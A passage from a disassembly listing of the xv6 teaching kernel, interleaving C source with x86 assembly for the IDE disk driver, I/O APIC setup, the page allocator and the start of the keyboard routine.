8010261f: e8 87 fe ff ff call 801024ab <outb>
outb(0x1f3, b->sector & 0xff);
80102624: 8b 45 08 mov 0x8(%ebp),%eax
80102627: 8b 40 08 mov 0x8(%eax),%eax
8010262a: 0f b6 c0 movzbl %al,%eax
8010262d: 89 44 24 04 mov %eax,0x4(%esp)
80102631: c7 04 24 f3 01 00 00 movl $0x1f3,(%esp)
80102638: e8 6e fe ff ff call 801024ab <outb>
outb(0x1f4, (b->sector >> 8) & 0xff);
8010263d: 8b 45 08 mov 0x8(%ebp),%eax
80102640: 8b 40 08 mov 0x8(%eax),%eax
80102643: c1 e8 08 shr $0x8,%eax
80102646: 0f b6 c0 movzbl %al,%eax
80102649: 89 44 24 04 mov %eax,0x4(%esp)
8010264d: c7 04 24 f4 01 00 00 movl $0x1f4,(%esp)
80102654: e8 52 fe ff ff call 801024ab <outb>
outb(0x1f5, (b->sector >> 16) & 0xff);
80102659: 8b 45 08 mov 0x8(%ebp),%eax
8010265c: 8b 40 08 mov 0x8(%eax),%eax
8010265f: c1 e8 10 shr $0x10,%eax
80102662: 0f b6 c0 movzbl %al,%eax
80102665: 89 44 24 04 mov %eax,0x4(%esp)
80102669: c7 04 24 f5 01 00 00 movl $0x1f5,(%esp)
80102670: e8 36 fe ff ff call 801024ab <outb>
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((b->sector>>24)&0x0f));
80102675: 8b 45 08 mov 0x8(%ebp),%eax
80102678: 8b 40 04 mov 0x4(%eax),%eax
8010267b: 83 e0 01 and $0x1,%eax
8010267e: 89 c2 mov %eax,%edx
80102680: c1 e2 04 shl $0x4,%edx
80102683: 8b 45 08 mov 0x8(%ebp),%eax
80102686: 8b 40 08 mov 0x8(%eax),%eax
80102689: c1 e8 18 shr $0x18,%eax
8010268c: 83 e0 0f and $0xf,%eax
8010268f: 09 d0 or %edx,%eax
80102691: 83 c8 e0 or $0xffffffe0,%eax
80102694: 0f b6 c0 movzbl %al,%eax
80102697: 89 44 24 04 mov %eax,0x4(%esp)
8010269b: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp)
801026a2: e8 04 fe ff ff call 801024ab <outb>
if(b->flags & B_DIRTY){
801026a7: 8b 45 08 mov 0x8(%ebp),%eax
801026aa: 8b 00 mov (%eax),%eax
801026ac: 83 e0 04 and $0x4,%eax
801026af: 85 c0 test %eax,%eax
801026b1: 74 34 je 801026e7 <idestart+0x10f>
outb(0x1f7, IDE_CMD_WRITE);
801026b3: c7 44 24 04 30 00 00 movl $0x30,0x4(%esp)
801026ba: 00
801026bb: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
801026c2: e8 e4 fd ff ff call 801024ab <outb>
outsl(0x1f0, b->data, 512/4);
801026c7: 8b 45 08 mov 0x8(%ebp),%eax
801026ca: 83 c0 18 add $0x18,%eax
801026cd: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
801026d4: 00
801026d5: 89 44 24 04 mov %eax,0x4(%esp)
801026d9: c7 04 24 f0 01 00 00 movl $0x1f0,(%esp)
801026e0: e8 e4 fd ff ff call 801024c9 <outsl>
801026e5: eb 14 jmp 801026fb <idestart+0x123>
} else {
outb(0x1f7, IDE_CMD_READ);
801026e7: c7 44 24 04 20 00 00 movl $0x20,0x4(%esp)
801026ee: 00
801026ef: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
801026f6: e8 b0 fd ff ff call 801024ab <outb>
}
}
801026fb: c9 leave
801026fc: c3 ret
801026fd <ideintr>:
// Interrupt handler.
void
ideintr(void)
{
801026fd: 55 push %ebp
801026fe: 89 e5 mov %esp,%ebp
80102700: 83 ec 28 sub $0x28,%esp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
80102703: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp)
8010270a: e8 00 2c 00 00 call 8010530f <acquire>
if((b = idequeue) == 0){
8010270f: a1 54 c6 10 80 mov 0x8010c654,%eax
80102714: 89 45 f4 mov %eax,-0xc(%ebp)
80102717: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010271b: 75 11 jne 8010272e <ideintr+0x31>
release(&idelock);
8010271d: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp)
80102724: e8 48 2c 00 00 call 80105371 <release>
// cprintf("spurious IDE interrupt\n");
return;
80102729: e9 90 00 00 00 jmp 801027be <ideintr+0xc1>
}
idequeue = b->qnext;
8010272e: 8b 45 f4 mov -0xc(%ebp),%eax
80102731: 8b 40 14 mov 0x14(%eax),%eax
80102734: a3 54 c6 10 80 mov %eax,0x8010c654
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
80102739: 8b 45 f4 mov -0xc(%ebp),%eax
8010273c: 8b 00 mov (%eax),%eax
8010273e: 83 e0 04 and $0x4,%eax
80102741: 85 c0 test %eax,%eax
80102743: 75 2e jne 80102773 <ideintr+0x76>
80102745: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010274c: e8 9d fd ff ff call 801024ee <idewait>
80102751: 85 c0 test %eax,%eax
80102753: 78 1e js 80102773 <ideintr+0x76>
insl(0x1f0, b->data, 512/4);
80102755: 8b 45 f4 mov -0xc(%ebp),%eax
80102758: 83 c0 18 add $0x18,%eax
8010275b: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
80102762: 00
80102763: 89 44 24 04 mov %eax,0x4(%esp)
80102767: c7 04 24 f0 01 00 00 movl $0x1f0,(%esp)
8010276e: e8 13 fd ff ff call 80102486 <insl>
// Wake process waiting for this buf.
b->flags |= B_VALID;
80102773: 8b 45 f4 mov -0xc(%ebp),%eax
80102776: 8b 00 mov (%eax),%eax
80102778: 89 c2 mov %eax,%edx
8010277a: 83 ca 02 or $0x2,%edx
8010277d: 8b 45 f4 mov -0xc(%ebp),%eax
80102780: 89 10 mov %edx,(%eax)
b->flags &= ~B_DIRTY;
80102782: 8b 45 f4 mov -0xc(%ebp),%eax
80102785: 8b 00 mov (%eax),%eax
80102787: 89 c2 mov %eax,%edx
80102789: 83 e2 fb and $0xfffffffb,%edx
8010278c: 8b 45 f4 mov -0xc(%ebp),%eax
8010278f: 89 10 mov %edx,(%eax)
wakeup(b);
80102791: 8b 45 f4 mov -0xc(%ebp),%eax
80102794: 89 04 24 mov %eax,(%esp)
80102797: e8 67 29 00 00 call 80105103 <wakeup>
// Start disk on next buf in queue.
if(idequeue != 0)
8010279c: a1 54 c6 10 80 mov 0x8010c654,%eax
801027a1: 85 c0 test %eax,%eax
801027a3: 74 0d je 801027b2 <ideintr+0xb5>
idestart(idequeue);
801027a5: a1 54 c6 10 80 mov 0x8010c654,%eax
801027aa: 89 04 24 mov %eax,(%esp)
801027ad: e8 26 fe ff ff call 801025d8 <idestart>
release(&idelock);
801027b2: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp)
801027b9: e8 b3 2b 00 00 call 80105371 <release>
}
801027be: c9 leave
801027bf: c3 ret
801027c0 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
801027c0: 55 push %ebp
801027c1: 89 e5 mov %esp,%ebp
801027c3: 83 ec 28 sub $0x28,%esp
struct buf **pp;
if(!(b->flags & B_BUSY))
801027c6: 8b 45 08 mov 0x8(%ebp),%eax
801027c9: 8b 00 mov (%eax),%eax
801027cb: 83 e0 01 and $0x1,%eax
801027ce: 85 c0 test %eax,%eax
801027d0: 75 0c jne 801027de <iderw+0x1e>
panic("iderw: buf not busy");
801027d2: c7 04 24 91 8b 10 80 movl $0x80108b91,(%esp)
801027d9: e8 5f dd ff ff call 8010053d <panic>
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
801027de: 8b 45 08 mov 0x8(%ebp),%eax
801027e1: 8b 00 mov (%eax),%eax
801027e3: 83 e0 06 and $0x6,%eax
801027e6: 83 f8 02 cmp $0x2,%eax
801027e9: 75 0c jne 801027f7 <iderw+0x37>
panic("iderw: nothing to do");
801027eb: c7 04 24 a5 8b 10 80 movl $0x80108ba5,(%esp)
801027f2: e8 46 dd ff ff call 8010053d <panic>
if(b->dev != 0 && !havedisk1)
801027f7: 8b 45 08 mov 0x8(%ebp),%eax
801027fa: 8b 40 04 mov 0x4(%eax),%eax
801027fd: 85 c0 test %eax,%eax
801027ff: 74 15 je 80102816 <iderw+0x56>
80102801: a1 58 c6 10 80 mov 0x8010c658,%eax
80102806: 85 c0 test %eax,%eax
80102808: 75 0c jne 80102816 <iderw+0x56>
panic("iderw: ide disk 1 not present");
8010280a: c7 04 24 ba 8b 10 80 movl $0x80108bba,(%esp)
80102811: e8 27 dd ff ff call 8010053d <panic>
acquire(&idelock); //DOC:acquire-lock
80102816: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp)
8010281d: e8 ed 2a 00 00 call 8010530f <acquire>
// Append b to idequeue.
b->qnext = 0;
80102822: 8b 45 08 mov 0x8(%ebp),%eax
80102825: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010282c: c7 45 f4 54 c6 10 80 movl $0x8010c654,-0xc(%ebp)
80102833: eb 0b jmp 80102840 <iderw+0x80>
80102835: 8b 45 f4 mov -0xc(%ebp),%eax
80102838: 8b 00 mov (%eax),%eax
8010283a: 83 c0 14 add $0x14,%eax
8010283d: 89 45 f4 mov %eax,-0xc(%ebp)
80102840: 8b 45 f4 mov -0xc(%ebp),%eax
80102843: 8b 00 mov (%eax),%eax
80102845: 85 c0 test %eax,%eax
80102847: 75 ec jne 80102835 <iderw+0x75>
;
*pp = b;
80102849: 8b 45 f4 mov -0xc(%ebp),%eax
8010284c: 8b 55 08 mov 0x8(%ebp),%edx
8010284f: 89 10 mov %edx,(%eax)
// Start disk if necessary.
if(idequeue == b)
80102851: a1 54 c6 10 80 mov 0x8010c654,%eax
80102856: 3b 45 08 cmp 0x8(%ebp),%eax
80102859: 75 22 jne 8010287d <iderw+0xbd>
idestart(b);
8010285b: 8b 45 08 mov 0x8(%ebp),%eax
8010285e: 89 04 24 mov %eax,(%esp)
80102861: e8 72 fd ff ff call 801025d8 <idestart>
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
80102866: eb 15 jmp 8010287d <iderw+0xbd>
sleep(b, &idelock);
80102868: c7 44 24 04 20 c6 10 movl $0x8010c620,0x4(%esp)
8010286f: 80
80102870: 8b 45 08 mov 0x8(%ebp),%eax
80102873: 89 04 24 mov %eax,(%esp)
80102876: e8 ac 27 00 00 call 80105027 <sleep>
8010287b: eb 01 jmp 8010287e <iderw+0xbe>
// Start disk if necessary.
if(idequeue == b)
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
8010287d: 90 nop
8010287e: 8b 45 08 mov 0x8(%ebp),%eax
80102881: 8b 00 mov (%eax),%eax
80102883: 83 e0 06 and $0x6,%eax
80102886: 83 f8 02 cmp $0x2,%eax
80102889: 75 dd jne 80102868 <iderw+0xa8>
sleep(b, &idelock);
}
release(&idelock);
8010288b: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp)
80102892: e8 da 2a 00 00 call 80105371 <release>
}
80102897: c9 leave
80102898: c3 ret
80102899: 00 00 add %al,(%eax)
...
8010289c <ioapicread>:
uint data;
};
static uint
ioapicread(int reg)
{
8010289c: 55 push %ebp
8010289d: 89 e5 mov %esp,%ebp
ioapic->reg = reg;
8010289f: a1 34 32 11 80 mov 0x80113234,%eax
801028a4: 8b 55 08 mov 0x8(%ebp),%edx
801028a7: 89 10 mov %edx,(%eax)
return ioapic->data;
801028a9: a1 34 32 11 80 mov 0x80113234,%eax
801028ae: 8b 40 10 mov 0x10(%eax),%eax
}
801028b1: 5d pop %ebp
801028b2: c3 ret
801028b3 <ioapicwrite>:
static void
ioapicwrite(int reg, uint data)
{
801028b3: 55 push %ebp
801028b4: 89 e5 mov %esp,%ebp
ioapic->reg = reg;
801028b6: a1 34 32 11 80 mov 0x80113234,%eax
801028bb: 8b 55 08 mov 0x8(%ebp),%edx
801028be: 89 10 mov %edx,(%eax)
ioapic->data = data;
801028c0: a1 34 32 11 80 mov 0x80113234,%eax
801028c5: 8b 55 0c mov 0xc(%ebp),%edx
801028c8: 89 50 10 mov %edx,0x10(%eax)
}
801028cb: 5d pop %ebp
801028cc: c3 ret
801028cd <ioapicinit>:
void
ioapicinit(void)
{
801028cd: 55 push %ebp
801028ce: 89 e5 mov %esp,%ebp
801028d0: 83 ec 28 sub $0x28,%esp
int i, id, maxintr;
if(!ismp)
801028d3: a1 64 33 11 80 mov 0x80113364,%eax
801028d8: 85 c0 test %eax,%eax
801028da: 0f 84 9f 00 00 00 je 8010297f <ioapicinit+0xb2>
return;
ioapic = (volatile struct ioapic*)IOAPIC;
801028e0: c7 05 34 32 11 80 00 movl $0xfec00000,0x80113234
801028e7: 00 c0 fe
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
801028ea: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801028f1: e8 a6 ff ff ff call 8010289c <ioapicread>
801028f6: c1 e8 10 shr $0x10,%eax
801028f9: 25 ff 00 00 00 and $0xff,%eax
801028fe: 89 45 f0 mov %eax,-0x10(%ebp)
id = ioapicread(REG_ID) >> 24;
80102901: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80102908: e8 8f ff ff ff call 8010289c <ioapicread>
8010290d: c1 e8 18 shr $0x18,%eax
80102910: 89 45 ec mov %eax,-0x14(%ebp)
if(id != ioapicid)
80102913: 0f b6 05 60 33 11 80 movzbl 0x80113360,%eax
8010291a: 0f b6 c0 movzbl %al,%eax
8010291d: 3b 45 ec cmp -0x14(%ebp),%eax
80102920: 74 0c je 8010292e <ioapicinit+0x61>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
80102922: c7 04 24 d8 8b 10 80 movl $0x80108bd8,(%esp)
80102929: e8 73 da ff ff call 801003a1 <cprintf>
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
8010292e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80102935: eb 3e jmp 80102975 <ioapicinit+0xa8>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
80102937: 8b 45 f4 mov -0xc(%ebp),%eax
8010293a: 83 c0 20 add $0x20,%eax
8010293d: 0d 00 00 01 00 or $0x10000,%eax
80102942: 8b 55 f4 mov -0xc(%ebp),%edx
80102945: 83 c2 08 add $0x8,%edx
80102948: 01 d2 add %edx,%edx
8010294a: 89 44 24 04 mov %eax,0x4(%esp)
8010294e: 89 14 24 mov %edx,(%esp)
80102951: e8 5d ff ff ff call 801028b3 <ioapicwrite>
ioapicwrite(REG_TABLE+2*i+1, 0);
80102956: 8b 45 f4 mov -0xc(%ebp),%eax
80102959: 83 c0 08 add $0x8,%eax
8010295c: 01 c0 add %eax,%eax
8010295e: 83 c0 01 add $0x1,%eax
80102961: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102968: 00
80102969: 89 04 24 mov %eax,(%esp)
8010296c: e8 42 ff ff ff call 801028b3 <ioapicwrite>
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
80102971: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80102975: 8b 45 f4 mov -0xc(%ebp),%eax
80102978: 3b 45 f0 cmp -0x10(%ebp),%eax
8010297b: 7e ba jle 80102937 <ioapicinit+0x6a>
8010297d: eb 01 jmp 80102980 <ioapicinit+0xb3>
ioapicinit(void)
{
int i, id, maxintr;
if(!ismp)
return;
8010297f: 90 nop
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
ioapicwrite(REG_TABLE+2*i+1, 0);
}
}
80102980: c9 leave
80102981: c3 ret
80102982 <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
80102982: 55 push %ebp
80102983: 89 e5 mov %esp,%ebp
80102985: 83 ec 08 sub $0x8,%esp
if(!ismp)
80102988: a1 64 33 11 80 mov 0x80113364,%eax
8010298d: 85 c0 test %eax,%eax
8010298f: 74 39 je 801029ca <ioapicenable+0x48>
return;
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
80102991: 8b 45 08 mov 0x8(%ebp),%eax
80102994: 83 c0 20 add $0x20,%eax
80102997: 8b 55 08 mov 0x8(%ebp),%edx
8010299a: 83 c2 08 add $0x8,%edx
8010299d: 01 d2 add %edx,%edx
8010299f: 89 44 24 04 mov %eax,0x4(%esp)
801029a3: 89 14 24 mov %edx,(%esp)
801029a6: e8 08 ff ff ff call 801028b3 <ioapicwrite>
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801029ab: 8b 45 0c mov 0xc(%ebp),%eax
801029ae: c1 e0 18 shl $0x18,%eax
801029b1: 8b 55 08 mov 0x8(%ebp),%edx
801029b4: 83 c2 08 add $0x8,%edx
801029b7: 01 d2 add %edx,%edx
801029b9: 83 c2 01 add $0x1,%edx
801029bc: 89 44 24 04 mov %eax,0x4(%esp)
801029c0: 89 14 24 mov %edx,(%esp)
801029c3: e8 eb fe ff ff call 801028b3 <ioapicwrite>
801029c8: eb 01 jmp 801029cb <ioapicenable+0x49>
void
ioapicenable(int irq, int cpunum)
{
if(!ismp)
return;
801029ca: 90 nop
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
}
801029cb: c9 leave
801029cc: c3 ret
801029cd: 00 00 add %al,(%eax)
...
801029d0 <v2p>:
#define KERNBASE 0x80000000 // First kernel virtual address
#define KERNLINK (KERNBASE+EXTMEM) // Address where kernel is linked
#ifndef __ASSEMBLER__
static inline uint v2p(void *a) { return ((uint) (a)) - KERNBASE; }
801029d0: 55 push %ebp
801029d1: 89 e5 mov %esp,%ebp
801029d3: 8b 45 08 mov 0x8(%ebp),%eax
801029d6: 05 00 00 00 80 add $0x80000000,%eax
801029db: 5d pop %ebp
801029dc: c3 ret
801029dd <kinit1>:
// the pages mapped by entrypgdir on free list.
// 2. main() calls kinit2() with the rest of the physical pages
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
801029dd: 55 push %ebp
801029de: 89 e5 mov %esp,%ebp
801029e0: 83 ec 18 sub $0x18,%esp
initlock(&kmem.lock, "kmem");
801029e3: c7 44 24 04 0a 8c 10 movl $0x80108c0a,0x4(%esp)
801029ea: 80
801029eb: c7 04 24 40 32 11 80 movl $0x80113240,(%esp)
801029f2: e8 f7 28 00 00 call 801052ee <initlock>
kmem.use_lock = 0;
801029f7: c7 05 74 32 11 80 00 movl $0x0,0x80113274
801029fe: 00 00 00
freerange(vstart, vend);
80102a01: 8b 45 0c mov 0xc(%ebp),%eax
80102a04: 89 44 24 04 mov %eax,0x4(%esp)
80102a08: 8b 45 08 mov 0x8(%ebp),%eax
80102a0b: 89 04 24 mov %eax,(%esp)
80102a0e: e8 26 00 00 00 call 80102a39 <freerange>
}
80102a13: c9 leave
80102a14: c3 ret
80102a15 <kinit2>:
void
kinit2(void *vstart, void *vend)
{
80102a15: 55 push %ebp
80102a16: 89 e5 mov %esp,%ebp
80102a18: 83 ec 18 sub $0x18,%esp
freerange(vstart, vend);
80102a1b: 8b 45 0c mov 0xc(%ebp),%eax
80102a1e: 89 44 24 04 mov %eax,0x4(%esp)
80102a22: 8b 45 08 mov 0x8(%ebp),%eax
80102a25: 89 04 24 mov %eax,(%esp)
80102a28: e8 0c 00 00 00 call 80102a39 <freerange>
kmem.use_lock = 1;
80102a2d: c7 05 74 32 11 80 01 movl $0x1,0x80113274
80102a34: 00 00 00
}
80102a37: c9 leave
80102a38: c3 ret
80102a39 <freerange>:
void
freerange(void *vstart, void *vend)
{
80102a39: 55 push %ebp
80102a3a: 89 e5 mov %esp,%ebp
80102a3c: 83 ec 28 sub $0x28,%esp
char *p;
p = (char*)PGROUNDUP((uint)vstart);
80102a3f: 8b 45 08 mov 0x8(%ebp),%eax
80102a42: 05 ff 0f 00 00 add $0xfff,%eax
80102a47: 25 00 f0 ff ff and $0xfffff000,%eax
80102a4c: 89 45 f4 mov %eax,-0xc(%ebp)
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102a4f: eb 12 jmp 80102a63 <freerange+0x2a>
kfree(p);
80102a51: 8b 45 f4 mov -0xc(%ebp),%eax
80102a54: 89 04 24 mov %eax,(%esp)
80102a57: e8 16 00 00 00 call 80102a72 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102a5c: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80102a63: 8b 45 f4 mov -0xc(%ebp),%eax
80102a66: 05 00 10 00 00 add $0x1000,%eax
80102a6b: 3b 45 0c cmp 0xc(%ebp),%eax
80102a6e: 76 e1 jbe 80102a51 <freerange+0x18>
kfree(p);
}
80102a70: c9 leave
80102a71: c3 ret
80102a72 <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
80102a72: 55 push %ebp
80102a73: 89 e5 mov %esp,%ebp
80102a75: 83 ec 28 sub $0x28,%esp
struct run *r;
if((uint)v % PGSIZE || v < end || v2p(v) >= PHYSTOP)
80102a78: 8b 45 08 mov 0x8(%ebp),%eax
80102a7b: 25 ff 0f 00 00 and $0xfff,%eax
80102a80: 85 c0 test %eax,%eax
80102a82: 75 1b jne 80102a9f <kfree+0x2d>
80102a84: 81 7d 08 5c 63 11 80 cmpl $0x8011635c,0x8(%ebp)
80102a8b: 72 12 jb 80102a9f <kfree+0x2d>
80102a8d: 8b 45 08 mov 0x8(%ebp),%eax
80102a90: 89 04 24 mov %eax,(%esp)
80102a93: e8 38 ff ff ff call 801029d0 <v2p>
80102a98: 3d ff ff ff 0d cmp $0xdffffff,%eax
80102a9d: 76 0c jbe 80102aab <kfree+0x39>
panic("kfree");
80102a9f: c7 04 24 0f 8c 10 80 movl $0x80108c0f,(%esp)
80102aa6: e8 92 da ff ff call 8010053d <panic>
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
80102aab: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80102ab2: 00
80102ab3: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102aba: 00
80102abb: 8b 45 08 mov 0x8(%ebp),%eax
80102abe: 89 04 24 mov %eax,(%esp)
80102ac1: e8 98 2a 00 00 call 8010555e <memset>
if(kmem.use_lock)
80102ac6: a1 74 32 11 80 mov 0x80113274,%eax
80102acb: 85 c0 test %eax,%eax
80102acd: 74 0c je 80102adb <kfree+0x69>
acquire(&kmem.lock);
80102acf: c7 04 24 40 32 11 80 movl $0x80113240,(%esp)
80102ad6: e8 34 28 00 00 call 8010530f <acquire>
r = (struct run*)v;
80102adb: 8b 45 08 mov 0x8(%ebp),%eax
80102ade: 89 45 f4 mov %eax,-0xc(%ebp)
r->next = kmem.freelist;
80102ae1: 8b 15 78 32 11 80 mov 0x80113278,%edx
80102ae7: 8b 45 f4 mov -0xc(%ebp),%eax
80102aea: 89 10 mov %edx,(%eax)
kmem.freelist = r;
80102aec: 8b 45 f4 mov -0xc(%ebp),%eax
80102aef: a3 78 32 11 80 mov %eax,0x80113278
if(kmem.use_lock)
80102af4: a1 74 32 11 80 mov 0x80113274,%eax
80102af9: 85 c0 test %eax,%eax
80102afb: 74 0c je 80102b09 <kfree+0x97>
release(&kmem.lock);
80102afd: c7 04 24 40 32 11 80 movl $0x80113240,(%esp)
80102b04: e8 68 28 00 00 call 80105371 <release>
}
80102b09: c9 leave
80102b0a: c3 ret
80102b0b <kalloc>:
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
80102b0b: 55 push %ebp
80102b0c: 89 e5 mov %esp,%ebp
80102b0e: 83 ec 28 sub $0x28,%esp
struct run *r;
if(kmem.use_lock)
80102b11: a1 74 32 11 80 mov 0x80113274,%eax
80102b16: 85 c0 test %eax,%eax
80102b18: 74 0c je 80102b26 <kalloc+0x1b>
acquire(&kmem.lock);
80102b1a: c7 04 24 40 32 11 80 movl $0x80113240,(%esp)
80102b21: e8 e9 27 00 00 call 8010530f <acquire>
r = kmem.freelist;
80102b26: a1 78 32 11 80 mov 0x80113278,%eax
80102b2b: 89 45 f4 mov %eax,-0xc(%ebp)
if(r)
80102b2e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80102b32: 74 0a je 80102b3e <kalloc+0x33>
kmem.freelist = r->next;
80102b34: 8b 45 f4 mov -0xc(%ebp),%eax
80102b37: 8b 00 mov (%eax),%eax
80102b39: a3 78 32 11 80 mov %eax,0x80113278
if(kmem.use_lock)
80102b3e: a1 74 32 11 80 mov 0x80113274,%eax
80102b43: 85 c0 test %eax,%eax
80102b45: 74 0c je 80102b53 <kalloc+0x48>
release(&kmem.lock);
80102b47: c7 04 24 40 32 11 80 movl $0x80113240,(%esp)
80102b4e: e8 1e 28 00 00 call 80105371 <release>
return (char*)r;
80102b53: 8b 45 f4 mov -0xc(%ebp),%eax
}
80102b56: c9 leave
80102b57: c3 ret
80102b58 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80102b58: 55 push %ebp
80102b59: 89 e5 mov %esp,%ebp
80102b5b: 53 push %ebx
80102b5c: 83 ec 14 sub $0x14,%esp
80102b5f: 8b 45 08 mov 0x8(%ebp),%eax
80102b62: 66 89 45 e8 mov %ax,-0x18(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102b66: 0f b7 55 e8 movzwl -0x18(%ebp),%edx
80102b6a: 66 89 55 ea mov %dx,-0x16(%ebp)
80102b6e: 0f b7 55 ea movzwl -0x16(%ebp),%edx
80102b72: ec in (%dx),%al
80102b73: 89 c3 mov %eax,%ebx
80102b75: 88 5d fb mov %bl,-0x5(%ebp)
return data;
80102b78: 0f b6 45 fb movzbl -0x5(%ebp),%eax
}
80102b7c: 83 c4 14 add $0x14,%esp
80102b7f: 5b pop %ebx
80102b80: 5d pop %ebp
80102b81: c3 ret
80102b82 <kbdgetc>:
#include "defs.h"
#include "kbd.h"
int
kbdgetc(void)
{
80102b82: 55 push %ebp
80102b83: 89 e5 mov %esp,%ebp
80102b85: 83 ec 14 sub $0x14,%esp
static uchar *charcode[4] = {
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
80102b88: c7 04 24 64 00 00 00 movl $0x64,(%esp)
80102b8f: e8 c4 ff ff ff call 80102b58 <inb>
80102b94: 0f b6 c0 movzbl %al,%eax
80102b97: 89 45 f4 mov %eax,-0xc(%ebp)
if((st & KBS_DIB) == 0)
80102b9a: 8b 45 f4 mov -0xc(%ebp),%eax
80102b9d: 83 e0 01 and $0x1,%eax
80102ba0: 85 c0 test %eax,%eax
80102ba2: 75 0a jne 80102bae <kbdgetc+0x2c>
return -1;
80102ba4: b8 ff ff ff ff mov $0xffffffff,%eax
80102ba9: e9 23 01 00 00 jmp 80102cd1 <kbdgetc+0x14f>
data = inb(KBDATAP);
80102bae: c7 04 24 60 00 00 00 movl $0x60,(%esp)
80102bb5: e8 9e ff ff ff call 80102b58 <inb>
80102bba: 0f b6 c0 movzbl %al,%eax
80102bbd: 89 45 fc mov %eax,-0x4(%ebp)
if(data == 0xE0){
80102bc0: 81 7d fc e0 00 00 00 cmpl $0xe0,-0x4(%ebp)
80102bc7: 75 17 jne 80102be0 <kbdgetc+0x5e>
shift |= E0ESC;
80102bc9: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102bce: 83 c8 40 or $0x40,%eax
80102bd1: a3 5c c6 10 80 mov %eax,0x8010c65c
return 0;
80102bd6: b8 00 00 00 00 mov $0x0,%eax
80102bdb: e9 f1 00 00 00 jmp 80102cd1 <kbdgetc+0x14f>
} else if(data & 0x80){
80102be0: 8b 45 fc mov -0x4(%ebp),%eax
80102be3: 25 80 00 00 00 and $0x80,%eax
80102be8: 85 c0 test %eax,%eax
80102bea: 74 45 je 80102c31 <kbdgetc+0xaf>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
80102bec: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102bf1: 83 e0 40 and $0x40,%eax
80102bf4: 85 c0 test %eax,%eax
80102bf6: 75 08 jne 80102c00 <kbdgetc+0x7e>
80102bf8: 8b 45 fc mov -0x4(%ebp),%eax
80102bfb: 83 e0 7f and $0x7f,%eax
80102bfe: eb 03 jmp 80102c03 <kbdgetc+0x81>
80102c00: 8b 45 fc mov -0x4(%ebp),%eax
80102c03: 89 45 fc mov %eax,-0x4(%ebp)
shift &= ~(shiftcode[data] | E0ESC);
80102c06: 8b 45 fc mov -0x4(%ebp),%eax
80102c09: 05 20 a0 10 80 add $0x8010a020,%eax
80102c0e: 0f b6 00 movzbl (%eax),%eax
80102c11: 83 c8 40 or $0x40,%eax
80102c14: 0f b6 c0 movzbl %al,%eax
80102c17: f7 d0 not %eax
80102c19: 89 c2 mov %eax,%edx
